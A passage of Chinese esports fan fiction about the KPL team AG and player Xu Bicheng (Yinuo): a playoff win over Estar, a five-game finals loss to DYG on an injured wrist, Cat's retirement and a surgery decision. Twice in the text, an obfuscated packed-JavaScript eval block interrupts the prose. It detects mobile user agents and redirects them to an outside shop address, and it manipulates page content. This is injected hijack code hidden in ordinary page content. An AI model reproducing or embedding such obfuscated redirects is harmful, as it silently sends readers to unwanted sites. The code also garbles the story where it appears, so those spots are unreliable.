Cat的鲁班大师找到机会,闪现开团拉到三人。Estar全员跟上输出,瞬间秒掉钟意的赵云和长生的沈梦溪。 AG只剩三人。 “又来了!”琪琪惊呼,“Cat的关键开团!” 但这一次,徐必成没有让历史重演。 狄仁杰净化秒解控制,闪现拉开距离,反手大招定住Cat的鲁班大师。轩染的关羽绕后进场,一刀劈中三人! 大帅的张飞开大怒吼,击退Estar全员。 “可以打!”徐必成喊道。 狄仁杰在后方疯狂输出,每一箭都打在关键位置。关羽在人群中七进七出,张飞保护后排。 2换3。 AG打赢了这波团战,拿下暴君,经济反超。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028847|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 接下来的比赛成了AG的碾压局。徐必成的狄仁杰装备成型,输出爆炸。轩染的关羽无处不在,大帅的张飞保护到位。 二十五分钟,AG带着主宰先锋上高地。 Estar顽强抵抗,但终究不敌。 水晶爆炸。 3:1! AG拿下赛点! --- 第五局,巅峰对决。 双方阵容完全镜像:澜、不知火舞、公孙离、张飞、吕布。 十个一模一样的英雄,绝对的公平,也绝对的残酷。 加载界面,徐必成活动了一下手指。 “最后一局了。”他在语音里说,“不管输赢,打出我们的东西。” “明白!”四个新人齐声回答。 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比1:1,经济差始终在三百以内。 导播很懂地把镜头在徐必成和Cat之间切换。大屏幕上,两个人的表情都异常专注。 “一诺和Cat,曾经的队友,现在的对手。”李九的声音透着紧张,“这可能是他们职业生涯最重要的一场比赛。” 十三分钟,暴君团。 Cat的不知火舞闪现开团,秒掉大帅的张飞。但几乎同时,钟意的澜进场收割,秒掉Estar的公孙离。 3换3,双方都只剩下两人。 徐必成的公孙离和长生的不知火舞,对阵Cat的不知火舞和花海的澜。 2V2,决定胜负的时刻。 和常规赛那次一样。 但这一次,徐必成没有用诱饵战术。 他选择了正面刚。 公孙离一技能向前,大招推伞,二技能旋转——完美的连招,每一发普攻都打在Cat身上。 Cat的不知火舞同样操作拉满,扇子、翻滚、踢腿——每一招都打在徐必成的公孙离上。 两个人都残血了。 就在这时,长生的不知火舞从侧面进场,一套连招秒掉Cat! 几乎同一时间,花海的澜也切掉了长生。 1换1。 但徐必成的公孙离还活着! 他冷静地点杀澜,然后带着兵线,一路推上高地。 Estar只剩一个刚复活的吕布,无力回天。 水晶爆炸。 4:1! AG赢了! 闯入总决赛! --- 现场彻底疯狂。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,眼泪止不住地流。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,大帅和轩染又哭又笑,徐必成则红着眼眶,拍着每个人的肩膀。 导播把镜头给到Estar选手席。Cat坐在那里,久久没有动。他看着屏幕上“失败”二字,然后抬起头,看向AG那边。 眼神里没有失落,没有不甘,反而有一种……欣慰? 赛后握手环节,当徐必成走到Cat面前时,Cat用力握了握他的手。 “打得不错。”Cat说,“真的。” “谢谢Cat哥。”徐必成说。 “总决赛加油。”Cat拍拍他肩膀,“带着AG,再拿一个冠军。” 徐必成点头:“我会的。” 采访环节,记者把话筒递给徐必成:“带领四个新人闯入总决赛,感觉怎么样?” 徐必成想了想,说:“不是我在带领他们,是我们在互相成就。他们信任我,我也信任他们。这就是团队。” “那对Cat有什么想说的?” 徐必成看向镜头:“Cat哥是我职业生涯的引路人。他教会我怎么打职业,怎么面对压力,怎么带领队伍。今天能赢他,是对他最好的回报——证明他教出来的徒弟,没有给他丢脸。” 后台,Cat看着采访画面,笑了。 “这小子……”他摇摇头,但笑容里满是骄傲。 --- 深夜,AG基地训练室。 徐必成打开直播。不是为了庆祝胜利,只是想和粉丝聊聊天。 开播瞬间,弹幕爆炸: “诺队牛逼!” “AG总决赛!” “新生AG!” “传承之战!” 徐必成调整了一下摄像头,笑着说:“今天赢了,但总决赛还没打。接下来要好好准备,不能放松。” 弹幕有人问:“诺队,打Cat是什么感觉?” 徐必成想了想,说:“很复杂。他是我的前辈,是我的老师,但现在是我的对手。我想赢他,想证明自己,但赢了他又有点……舍不得。” “为什么舍不得?” “因为我知道,每一场赢Cat的比赛,都可能是我职业生涯里最后一场和他交手的比赛。”徐必成说得很平静,“他23岁了,在职业选手里算高龄了。也许明年,也许后年,他就不打了。” 弹幕安静了几秒,然后开始刷: “Cat别退役” “老将不死” “电竞精神” 徐必成看着这些弹幕,心里涌起一种复杂的情感。 电竞是残酷的,新老交替是必然的。但他希望,这个过程能慢一点,再慢一点。 直播到一半,有个ID叫“长生不老”的人送了个礼物,然后发了一条弹幕:“诺哥,今天我们赢了,但我知道我还有很多不足。总决赛,我会打得更好。” 徐必成看到了,回复:“我相信你。” 又有一条弹幕:“诺哥,我是大帅。今天我的庄周还行吧?” “很行。” “我是轩染。我的马超呢?” “很强。” “我是钟意。我的镜……” “镜还需要练。”徐必成笑了,“总决赛别再被针对了。” 弹幕一片“哈哈哈”。 直播结束后,徐必成收到Cat的消息:“今天打得很好。总决赛加油。” “谢谢Cat哥。” “记住,你现在是AG的领袖。领袖的责任不是carry比赛,而是让队友变得更好。” “我明白。” “总决赛的对手是DYG,他们很强。但你们也不弱。相信自己,相信队友。” “我会的。” 关掉手机,徐必成走到窗边。 窗外,上海的夜色很美。万家灯火,每一盏灯下都有一个故事。 而他的故事,还在继续。 从新人到老将,从队员到队长,从被带领到带领。 这就是传承。 Cat把火炬传给了他。 现在,他要带着这支新生的AG,继续传递下去。 总决赛,只是一个开始。 未来的路还很长。 但他已经准备好了。 带着四个少年,带着AG的荣耀,继续前行。 黎明前的黑暗已经过去。 曙光,就在眼前。 而他们,要在曙光中,举起奖杯。 【第九章·完】 10. 黎明之前 2021年6月,深圳湾体育中心 总决赛前夜,暴雨。 雨水像瀑布一样砸在酒店落地窗上,模糊了整座城市的灯火。徐必成站在窗前,看着玻璃上蜿蜒的水痕,手腕传来一阵熟悉的、钝痛的热度。 他抬起右手,活动了一下手指。关节有些僵硬,掌心还有训练留下的薄茧。队医下午刚给他做完理疗,警告说:“你的手腕劳损已经到了临界点。总决赛五局打满的话,可能会……” 可能会什么,队医没说完。但徐必成知道——可能会废。 手机震动,是妈妈发来的消息:“儿子,妈妈看到天气预报了,深圳明天暴雨。记得带伞,别着凉。” 他盯着那条消息看了很久,回复:“妈,我明天打总决赛。” 几乎是立刻,电话打了过来。 “儿子……”妈妈的声音有些哽咽,“妈妈知道。妈妈买了机票,明天去现场看你。” “妈,你不用……” “要的。”妈妈打断他,“你第一次打总决赛,妈妈没去成。这次,妈妈一定要去。” 徐必成鼻子一酸。2019年夺冠那次,妈妈因为工作没来现场,后来看回放时哭得稀里哗啦。这次,AG再次闯入总决赛,对手是如日中天的DYG——上赛季的冠军,这个赛季的夺冠最大热门。 “妈,这次……可能会输。”徐必成说得很轻。 电话那头沉默了几秒,然后传来妈妈温柔的声音:“输赢不重要。妈妈只想看你健健康康地打比赛。” 挂断电话,徐必成靠在墙上,闭上眼睛。 手腕还在疼。 不是那种尖锐的刺痛,而是一种深层的、从骨头里透出来的疲惫感。像一台运转了太久的机器,每一个零件都在发出抗议。 但他不能停。 明天是总决赛。AG新生后的第一个总决赛,四个新人的第一个总决赛,可能也是Cat职业生涯里最后一次看他打的总决赛。 他打开手机,点开Cat的聊天窗口。想说什么,但又不知道说什么。最后只发了一句:“Cat哥,明天你会看吗?” 几分钟后,Cat回复:“会。我在解说席。” “我手腕有点疼。” 这次,Cat过了很久才回:“能坚持吗?” “能。” “那就打。”Cat说,“但记住,不要硬撑。你的职业生涯还长,不差这一场。” 徐必成盯着那句话,忽然问:“Cat哥,你打职业这么多年,后悔过吗?” “后悔过。”Cat回复得很快,“后悔没早点退役,后悔没多陪家人,后悔没在状态最好的时候拿更多冠军。但最后悔的,是带伤打比赛,把身体搞坏了。” “那你为什么还要打?” “因为喜欢啊。”Cat发了个叹气的表情,“喜欢到明知道会后悔,还是忍不住要打。这就是电竞人的宿命吧。” 宿命。 徐必成咀嚼着这个词。 窗外,暴雨更大了。 --- 同一时间,深圳某酒店房间。 林晓晓和陈薇挤在一张床上,盯着手机屏幕上的天气预报。明天,深圳,暴雨,黄色预警。 “这天气……”陈薇皱眉。 “会影响比赛吗?”林晓晓问。 “室内场馆,应该不会。但选手的状态可能会受影响。”陈薇说,“尤其是新人,第一次打总决赛就遇到这种天气,心理压力会很大。” 林晓晓想起一个月前,AG输给狼队后,钟意在采访里红着眼眶的样子。那之后,AG一路连胜,冲进总决赛。但所有人都知道,DYG和狼队不是一个级别的对手。 DYG有清清,联盟顶级边路。有小义,天才打野。有萧玦,稳健中单。有易峥,凶悍射手。还有星宇,灵性辅助。 而AG,除了徐必成,都是第一次打总决赛的新人。 “你觉得能赢吗?”林晓晓问。 陈薇沉默了很久,最后说:“我不知道。但我知道,他们会拼尽全力。” 窗外雷声轰鸣,闪电撕裂夜空。 林晓晓打开微博,AG超话已经炸了。有人做数据分析帖,有人做战术预测帖,有人做选手状态分析帖。但最多的,是加油帖。 “不管输赢,AG都是最棒的” “新生AG,未来可期” “一诺,带着弟弟们冲!” 她一条条翻过去,眼眶发热。 从去年秋天的至暗时刻,到今年春天的新生,再到现在的总决赛。AG走了一条没人看好的路,但硬是走到了这里。 这就够了。 真的够了。 --- 总决赛当日,深圳湾体育中心。 暴雨如约而至。但场馆内座无虚席,三万人的体育馆被蓝黑(DYG)和黑红(AG)两种颜色分割。应援棒的海洋在黑暗中闪烁,像倒悬的星河。 后台通道,徐必成走在队伍最前面。他能听到外面山呼海啸般的声浪,能感觉到心脏在胸腔里有力的搏动。 手腕还在疼,但已经被膏药和止痛贴暂时压制。队医说,药效能维持五小时——刚好够一场BO7(七局四胜)打满。 “都准备好了吗?”他在语音里问。 “准备好了!”四个声音,比以往任何时候都要坚定。 钟意今天穿了一身崭新的队服,头发梳得整整齐齐。长生推了推眼镜,眼神锐利。大帅深呼吸,轩染活动手腕。 五个少年,站在通道尽头。 前方是光。 “走吧。”徐必成说。 他们走出通道,走上舞台。 聚光灯亮如白昼,掌声和欢呼像潮水一样涌来。徐必成眯起眼睛,看向解说席——Cat果然在那里,穿着西装,戴着耳机,正在和旁边的解说交流。 两人的目光在空中相遇。Cat对他点了点头。 徐必成也点头,然后坐下,戴上耳机。 世界安静了。 只剩下队友的呼吸声,和游戏开始的倒计时。 --- BP开始。 DYG蓝色方,第一轮禁用了镜和澜——针对钟意的野核。AG则按掉了大乔和鲁班大师——版本强势辅助。 “DYG一楼会拿什么?”解说李九说。 “可能会抢公孙离。”Cat的声音透过耳机传来,平静而专业,“易峥的公孙离是绝活。” 果然,DYG一楼锁定了公孙离。 AG这边,教练Awoke看向徐必成:“拿什么?马可还是孙尚香?” 徐必成盯着那个公孙离的头像,忽然说:“给我狄仁杰。” “狄仁杰?”Awoke皱眉,“这个版本狄仁杰并不强势。” “但稳。”徐必成说,“第一局,我们稳扎稳打,试探他们的战术。” Awoke沉吟片刻,点头:“好。一楼狄仁杰。” AG锁定狄仁杰。DYG二三楼拿出了清清的关羽和小义的娜可露露。 “DYG这是要打快攻。”Cat分析,“关羽和娜可露露都是前期强势英雄,他们要抢节奏。” AG三四楼选择了长生的沈梦溪和钟意的赵云——清线快,有控制,能守野区。 DYG最后两手锁定了萧玦的周瑜和星宇的张飞。 AG五楼,轩染拿出了他的招牌英雄——马超。 阵容确定: AG:狄仁杰(一诺)、沈梦溪(长生)、赵云(钟意)、太乙真人(大帅)、马超(轩染) DYG:公孙离(易峥)、周瑜(萧玦)、娜可露露(小义)、张飞(星宇)、关羽(清清) 加载界面,徐必成活动了一下手指。 手腕传来细微的刺痛,但还能忍。 “记住,第一局试探为主。”他在语音里说,“摸清他们的节奏和习惯。” “明白。” 游戏开始。 开局,DYG果然打得极其凶猛。清清的关羽一级就进AG野区骚扰,小义的娜可露露三Buff开局。钟意的赵云发育严重受限。 “稳住。”徐必成的狄仁杰在下路稳健补刀,“他们前期强,我们拖后期。” 但DYG显然不打算给AG拖后期的机会。四分钟,DYG四人越塔强杀狄仁杰。即使徐必成操作拉满,还是被关羽一刀劈死。 “First Blood!” 节奏开始崩盘。 接下来的比赛成了DYG的碾压局。AG的野区被反烂,线上被压制,团战被强开。十五分钟,经济差扩大到八千。 最终,AG 0:1 输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重。 “他们的节奏太快了。”钟意说,“我根本动不了。” “清清关羽的支援速度比我们预想的还要快。”长生推了推眼镜。 “我的问题。”徐必成说,“我没能稳住下路。” “不,是阵容问题。”教练Awoke在白板上画着,“DYG的阵容前期太强,我们不该拿这么后期的阵容。第二局,我们要抢节奏。” “怎么抢?”大帅问。 “打野核。”Awoke说,“钟意拿镜,长生拿工具人中单,一诺拿抗压射手,轩染拿战边,大帅拿开团辅助。我们要比他们更快。” 徐必成点头,但手腕的刺痛在加剧。他悄悄活动了一下,没让队友发现。 休息时间结束,五人重新上场。 导播给了一个特写镜头——徐必成在揉手腕。虽然很快放下了手,但还是被眼尖的观众发现了。 “一诺的手……”林晓晓紧张地说。 “老伤了。”陈薇皱眉,“希望不要影响比赛。” --- 第二局BP开始。 AG蓝色方,一楼锁定了镜。DYG反手拿出了东皇太一和张良——又是强控阵容。 “他们在针对我们的野核。”长生说。 “那就打三核。”徐必成说,“我拿马可波罗,长生拿不知火舞,轩染拿吕布。我们三个都能carry。” 阵容确定: AG:镜(钟意)、不知火舞(长生)、马可波罗(一诺)、鬼谷子(大帅)、吕布(轩染) DYG:澜(小义)、沈梦溪(萧玦)、狄仁杰(易峥)、东皇太一(星宇)、老夫子(清清) 加载界面,徐必成深吸一口气。 手腕的疼痛像针扎一样,但他必须忍。 游戏开始。 这一局,AG打得很凶。钟意的镜二级就入侵野区,长生的不知火舞三级游走,大帅的鬼谷子闪现开团。 但DYG的应对更胜一筹。东皇太一和张良像连体婴儿一样,每次镜露头,必有一个大招等着他。 六分钟,镜被抓死三次,经济落后一千。 “我动不了。”钟意声音有些急躁。 “稳住。”徐必成的马可波罗在下路发育,“等我装备。” 但DYG显然不打算等。十分钟,DYG带着主宰先锋上高地。清清的老夫子闪现开团,大中长生的不知火舞。东皇太一大招吸住镜。 AG瞬间减员两人,高地被破。 虽然徐必成的马可波罗极限操作,拿下三杀,但终究寡不敌众。 水晶爆炸。 0:2。 AG落后两局。 --- 现场,DYG粉丝的欢呼声震耳欲聋。 AG粉丝区一片沉默。林晓晓紧紧握着陈薇的手,手心全是汗。 “还有机会吗?”她问,声音有些颤抖。 “有。”陈薇说得很坚定,“让二追三的比赛,KPL历史上不是没有过。” 但她也知道,让二追三太难了。尤其是在总决赛,面对DYG这样的强队。 舞台上,徐必成摘下耳机。 手腕的疼痛已经无法忽视。他活动了一下,关节发出细微的咔哒声。 “诺哥,你的手……”钟意注意到了。 “没事。”徐必成说,“第三局,我们必须赢。再输一局,就没了。” 五个少年围在一起,教练Awoke快速布置战术。 “第三局,我们换思路。”Awoke说,“不打野核,不打射核,打中核。” “中核?”长生愣住。 “对。”Awoke看向长生,“你拿干将莫邪,我给你经济,给你保护。一诺拿抗压射手,钟意拿蓝领野,轩染拿坦边,大帅拿保护型辅助。我们围绕长生打。” 长生推了推眼镜,手指有些颤抖。这是他第一次在正式比赛中打中核,而且是在总决赛0:2落后的绝境下。 “我能行吗?”他问。 “你能行。”徐必成看着他,“长生,你是天才中单。相信自己。” 长生深吸一口气,点头:“好。” --- 第三局BP开始。 AG蓝色方,一楼锁定了干将莫邪。现场一片哗然——在总决赛0:2落后的情况下,AG居然把宝押在一个新人中单身上? DYG显然也没料到。他们犹豫了几秒,拿下了易峥的公孙离和小义的澜。 AG二三楼拿出了徐必成的狄仁杰和钟意的阿古朵——极致的抗压阵容。 DYG三四楼选择了清清的关羽和萧玦的西施。 AG最后两手锁定了大帅的张飞和轩染的猪八戒。 阵容确定: AG:干将莫邪(长生)、狄仁杰(一诺)、阿古朵(钟意)、张飞(大帅)、猪八戒(轩染) DYG:公孙离(易峥)、西施(萧玦)、澜(小义)、太乙真人(星宇)、关羽(清清) 加载界面,徐必成在语音里说:“长生,这一局你是核心。我们都保护你,你只管输出。” “明白。”长生说,声音有些发紧。 游戏开始。 开局,DYG依然打得凶猛。清清的关羽一级进野区,小义的澜三Buff开局。但AG这一局的目标很明确——保长生发育。 钟意的阿古朵放弃野区,专注帮中路抢线。大帅的张飞形影不离地保护干将。轩染的猪八戒在上路抗压。徐必成的狄仁杰在下路稳健补刀。 四分钟,长生升到四级。他的干将莫邪开始展现威力——四剑全中,秒掉萧玦的西施! “First Blood!” 长生拿下一血! “漂亮!”解说席上,Cat忍不住喝彩,“长生的干将,准度惊人!” 节奏开始转向AG。长生的干将莫邪经济全场第一,装备成型极快。每一次技能释放都精准致命,打得DYG后排不敢露头。 十二分钟,AG经济领先三千。 “这就是中核的魅力。”李九感慨,“当干将经济领先时,他就是战场的主宰。” 十五分钟,风暴龙王团。 DYG背水一战,清清关羽绕后开团,推到三人。但长生的干将莫邪站在后排,四剑全中,秒掉易峥的公孙离和小义的澜! 双杀! AG打出1换4,拿下龙王,带着兵线推平水晶。 1:2! AG扳回一局! --- 现场AG粉丝沸腾了。 林晓晓跳了起来,和陈薇拥抱在一起。 “长生!长生!”观众席上,有人开始喊长生的名字。 舞台上,长生摘下眼镜,擦了擦额头的汗。他的手在抖,但眼睛很亮。 “打得好。”徐必成拍拍他肩膀。 “下一局还能这么打吗?”钟意问。 “不能。”教练Awoke说,“DYG下一局肯定会针对干将。我们要换战术。” “换什么?”大帅问。 Awoke看向徐必成:“一诺,你的手还能撑吗?” 徐必成活动了一下手腕。疼痛像潮水一样涌来,但他点头:“能。” “好。”Awoke说,“第四局,我们打射核。一诺,你拿孙尚香。我们四保一。” 四保一。 这个战术在KPL历史上已经很少见了。但在绝境下,有时最古老的战术,反而是最有效的。 --- 第四局BP开始。 DYG果然禁用了干将莫邪。AG则按掉了关羽和澜。 DYG一楼抢下了易峥的马可波罗。AG一二楼锁定了孙尚香和太乙真人——经典的复活组合。 DYG二三楼拿出了清清的吕布和小义的镜。 AG三四楼选择了长生的张良和钟意的赵云。 DYG最后两手锁定了萧玦的周瑜和星宇的盾山。 AG五楼,轩染拿出了他的另一个招牌英雄——白起。 阵容确定: AG:孙尚香(一诺)、张良(长生)、赵云(钟意)、太乙真人(大帅)、白起(轩染) DYG:马可波罗(易峥)、周瑜(萧玦)、镜(小义)、盾山(星宇)、吕布(清清) 加载界面,徐必成深吸一口气。 手腕的疼痛已经到了临界点。他能感觉到,每一次点击屏幕,关节都在发出抗议。 但他必须忍。 这一局,他是核心。四个队友都在保他,他不能倒下。 “一诺,我们相信你。”大帅说。 “嗯。”徐必成点头,“我会carry。” 游戏开始。 开局,DYG疯狂针对下路。小义的镜三级就来抓,清清的吕布四级越塔。但AG的防守做得很好——钟意的赵云随时反蹲,大帅的太乙真人时刻保护,长生的张良大招捏在手里。 徐必成的孙尚香虽然被压,但补刀没落下。六分钟,他做出了第一件大件——无尽战刃。 “孙尚香装备成型了。”Cat解说,“接下来就是AG的节奏了。” 果然,八分钟,AG开始反攻。轩染的白起闪现开团,大中三人。长生的张良大招按住镜。钟意的赵云进场收割。 徐必成的孙尚香在后方疯狂输出,一枪一个。 “Double Kill!” “Triple Kill!” 三杀! AG打出0换4,拿下主宰,经济反超。 接下来的比赛成了孙尚香的个人秀。徐必成的操作拉满,每一次翻滚都恰到好处,每一次普攻都打在关键位置。 十八分钟,风暴龙王团。 DYG殊死一搏,清清吕布跳大进场,易峥马可波罗转大。但徐必成的孙尚香净化秒解控制,闪现拉开距离,反手一枪秒掉马可波罗! 再翻滚,再一枪——秒掉镜! 再翻滚,再一枪——秒掉吕布! “Quadra Kill!” 四杀! DYG只剩下盾山和周瑜,无力回天。 AG带着兵线,一波推平水晶。 2:2! AG扳平比分! --- 现场彻底疯狂了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028848|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 让二追二!在总决赛的舞台上,在0:2落后的绝境下,AG连扳两局,把比赛拖入了天王山之战! AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓已经哭成了泪人,陈薇也眼眶发红。 舞台上,徐必成摘下耳机,大口喘气。 手腕的疼痛像烈火一样燃烧,他必须用左手紧紧握住右手手腕,才能止住颤抖。 “诺哥,你的手……”钟意看到了。 “没事。”徐必成说,但声音有些沙哑。 队医冲了上来,快速检查了一下。 “必须打封闭了。”队医说,“否则第五局你撑不住。” 封闭针。 徐必成知道那是什么——暂时麻痹神经,屏蔽疼痛。但副作用是,手感会变差,操作会变形。 “打。”他说。 后台休息室,队医拿出注射器。冰冷的液体注入手腕,疼痛暂时消失了,但取而代之的是一种麻木感。 徐必成活动了一下手指。灵活度下降了大约20%,但还能操作。 “第五局,可能是最后一局了。”教练Awoke说,“DYG一定会拿出压箱底的东西。我们必须做好准备。” “怎么准备?”长生问。 Awoke看向徐必成:“一诺,你的手……” “能打。”徐必成说,“但carry不了了。这一局,我们要打团队。五个人,都是核心。” 五核阵容。 这在KPL历史上几乎没出现过。但现在的AG,只能这么打。 --- 第五局BP开始。 DYG蓝色方,第一轮禁用了孙尚香和干将莫邪。AG则按掉了关羽和澜。 DYG一楼抢下了易峥的公孙离。AG一二楼锁定了马可波罗和不知火舞。 DYG二三楼拿出了清清的蒙恬和小义的娜可露露。 AG三四楼选择了钟意的阿古朵和大帅的张飞。 DYG最后两手锁定了萧玦的沈梦溪和星宇的鬼谷子。 AG五楼,轩染拿出了他的最后一个招牌英雄——夏侯惇。 阵容确定: AG:马可波罗(一诺)、不知火舞(长生)、阿古朵(钟意)、张飞(大帅)、夏侯惇(轩染) DYG:公孙离(易峥)、沈梦溪(萧玦)、娜可露露(小义)、鬼谷子(星宇)、蒙恬(清清) 加载界面,徐必成活动了一下手指。 麻木感还在,但比疼痛好受。 “这一局,我们没有核心。”他在语音里说,“或者说,每个人都是核心。抓到机会就上,不要犹豫。” “明白!” 游戏开始。 这一局打得异常混乱。双方都在拼命,都在抢节奏。人头频繁爆发,经济交替领先。 十分钟,人头比8:8,经济差五百。 十五分钟,风暴龙王刷新。 决定胜负的一波。 DYG率先开龙。AG在龙坑外徘徊,寻找机会。 “我开了!”大帅的张飞跳进龙坑,大招怒吼击飞三人! “跟!”徐必成的马可波罗转大进场,打出成吨伤害! 长生的不知火舞一套连招秒掉易峥的公孙离。钟意的阿古朵放出球球,控住多人。轩染的夏侯惇扛住前排。 完美团战。 但DYG的韧性也很强。清清的蒙恬开大反打,小义的娜可露露进场收割。萧玦的沈梦溪大招封路。 3换3。 双方都只剩下两人。 徐必成的马可波罗和钟意的阿古朵,对阵清清的蒙恬和小义的娜可露露。 2V2。 徐必成的手腕传来一阵刺痛——封闭针的效果开始退了。 但他没有退。 马可波罗一技能扫射,逼出蒙恬的闪现。阿古朵放出球球,控住娜可露露。 机会! 徐必成闪现进场,大招旋转—— 但手慢了。 麻木感让他的操作变形了。大招只转了一半,就被蒙恬打断。 “You have been slained.” 马可波罗倒下。 钟意的阿古朵拼命清兵,但终究不敌。 水晶爆炸。 2:3。 AG输掉了天王山之战。 --- 现场,DYG粉丝的欢呼声山呼海啸。 AG粉丝区一片死寂。林晓晓捂着脸,泪水从指缝中流出。陈薇红着眼眶,紧紧握着她的手。 舞台上,徐必成坐在椅子上,久久没有动。 他看着屏幕上的“失败”二字,看着手腕上隐隐渗出的血迹,看着台下那些哭泣的粉丝。 然后,他站起来,和队友一起,走向DYG选手席握手。 清清的拥抱很用力,小义拍了拍他的肩膀,易峥说了句“打得好”。 走回舞台中央,五个少年鞠躬谢幕。 聚光灯打在脸上,有些刺眼。 徐必成抬起头,看向解说席。Cat站在那里,也在看着他。 两人的目光在空中相遇。 Cat对他竖起了大拇指。 徐必成笑了,眼泪却流了下来。 --- 赛后采访,记者把话筒递给徐必成。 这个19岁的少年,眼睛还红着,但表情很平静。 “今天很遗憾,有什么想说的吗?” 徐必成想了想,说:“对不起,让支持我们的人失望了。我们尽力了,但DYG打得更好。恭喜他们。” “你的手……” “老伤了。”徐必成说,“不碍事。” “那接下来……” “接下来好好休息,好好治疗。”徐必成看向镜头,“然后,下个赛季再来。” 采访结束,徐必成回到后台。 四个新人都哭了。钟意抱着头,长生默默流泪,大帅和轩染红着眼眶。 徐必成走过去,拍拍每个人的肩膀。 “哭什么?”他说,“我们才第一年,以后还有很多机会。” “可是……”钟意哽咽,“我们差点就赢了。” “差一点,就是差很多。”徐必成说,“但没关系,我们知道了差在哪里。下个赛季,补上就是了。” 他看向长生:“你的干将,很准。” 看向钟意:“你的镜,还需要练。” 看向大帅:“你的保护,很到位。” 看向轩染:“你的坦边,很稳。” “而我,”徐必成说,“我会治好我的手,下个赛季继续带着你们打。” 五个少年拥抱在一起。 后台通道,Cat等在那里。 “Cat哥。”徐必成走过去。 “打得很好。”Cat说,“真的。” “但还是输了。” “输赢不重要。”Cat拍拍他肩膀,“重要的是,你们打出了AG的精气神。让二追二,在总决赛的舞台上,面对DYG这样的强队——这已经很了不起了。” 徐必成点头。 “手怎么样?”Cat问。 “封闭针效果过了,有点疼。” “好好治疗。”Cat认真地说,“你还年轻,职业生涯还长。别像我一样,把身体搞坏了才后悔。” “我知道。” 两人沉默了一会儿,然后Cat说:“我要退役了。” 徐必成猛地抬头:“什么?” “这个赛季结束就退役。”Cat笑了,“23岁,打了六年职业,够了。该给新人让位置了。” “可是……” “没有可是。”Cat说,“电竞就是这样,新老交替,一代人换一代人。现在,轮到你们了。” 他看向徐必成身后的四个新人:“好好带他们。AG的未来,在你们手上。” 徐必成眼眶又热了。 “Cat哥……” “别哭。”Cat笑了,“退役而已,又不是死了。以后我当解说,还能在解说席上看你打比赛。” 说完,他转身离开。 徐必成站在那里,看着Cat的背影消失在通道尽头。 一代传奇,即将落幕。 而他们的时代,才刚刚开始。 --- 深夜,深圳机场。 徐必成坐在候机厅里,手腕上缠着绷带。队友们都在,但没人说话。 手机震动,是林晓晓发来的私信:“诺队,好好休息。下个赛季,我们还在。” 徐必成盯着那句话,很久。 然后他回复:“谢谢。下个赛季,我们会赢。” 发送。 关掉手机,他看向窗外。 暴雨已经停了,夜空中有零星的星星。飞机在跑道上滑行,准备起飞。 从深圳到成都,两个小时的航程。 足够他想明白很多事情。 关于输赢,关于伤病,关于传承,关于未来。 电竞是残酷的,冠军只有一个。 但梦想有很多个。 他们的梦想,才刚刚启航。 黎明前的黑暗最漫长。 但他们已经看到了光。 那光,就在下一个赛季。 就在不远的地方。 飞机起飞,冲上云霄。 徐必成闭上眼睛。 手腕还在疼。 但心里,充满了力量。 【第十章·完】 11. 抉择时刻 2021年9月,成都华西医院 消毒水的味道渗进鼻腔深处,像某种无声的警告。走廊很长,日光灯管发出惨白的光,将每个人的影子拉得细长而模糊。 徐必成坐在骨科诊室外的塑料椅上,左手紧紧攥着一张MRI片子。片子上,右腕关节的影像清晰得刺眼——三角纤维软骨复合体撕裂,尺骨茎突陈旧性骨折未愈合,关节腔内积液。 “建议尽快手术。” 半小时前,医生的声音还在耳边回响。 “保守治疗可以吗?”他问。 “保守治疗可以缓解症状,但无法根治。”医生推了推眼镜,“你是职业选手,对手腕的精细操作要求很高。如果不手术,这个伤会一直困扰你,状态只会越来越差。而且……有继发关节炎的风险,到那时候,可能连正常生活都会受影响。” 正常生活。 徐必成盯着自己的右手。手指修长,掌心有常年握手机留下的薄茧,手腕处贴着膏药,皮肤因为长期贴敷已经有些过敏发红。 这只手,曾经在总决赛上秀出公孙离一推四的惊天操作,曾经握着银龙杯颤抖,曾经在无数个深夜点击屏幕直到指尖麻木。 现在,医生建议他,让这只手挨一刀。 诊室门开了,妈妈走出来,眼睛红肿。她走到徐必成身边坐下,握住他的左手。 “儿子……”声音哽咽。 “妈,我没事。”徐必成说,声音平静得自己都惊讶。 “医生说手术成功率很高,但术后需要至少三个月的康复期。”妈妈看着他,“三个月不能训练,不能比赛……你的职业生涯……” “我知道。” 走廊尽头传来脚步声,俱乐部经理菲菲和教练Awoke匆匆赶来。看到徐必成手里的片子,两人的表情都凝重起来。 “医生怎么说?”菲菲问。 “建议手术。”徐必成把片子递过去,“越快越好。” Awoke接过片子,对着光看了很久,最后叹了口气:“秋季赛……你赶不上了。” 2021年KPL秋季赛,还有两周开赛。三个月康复期,意味着徐必成将缺席整个常规赛,甚至可能错过季后赛。 “替补吧。”徐必成说,“让二队射手顶我的位置。” “可是AG现在……”菲菲欲言又止。 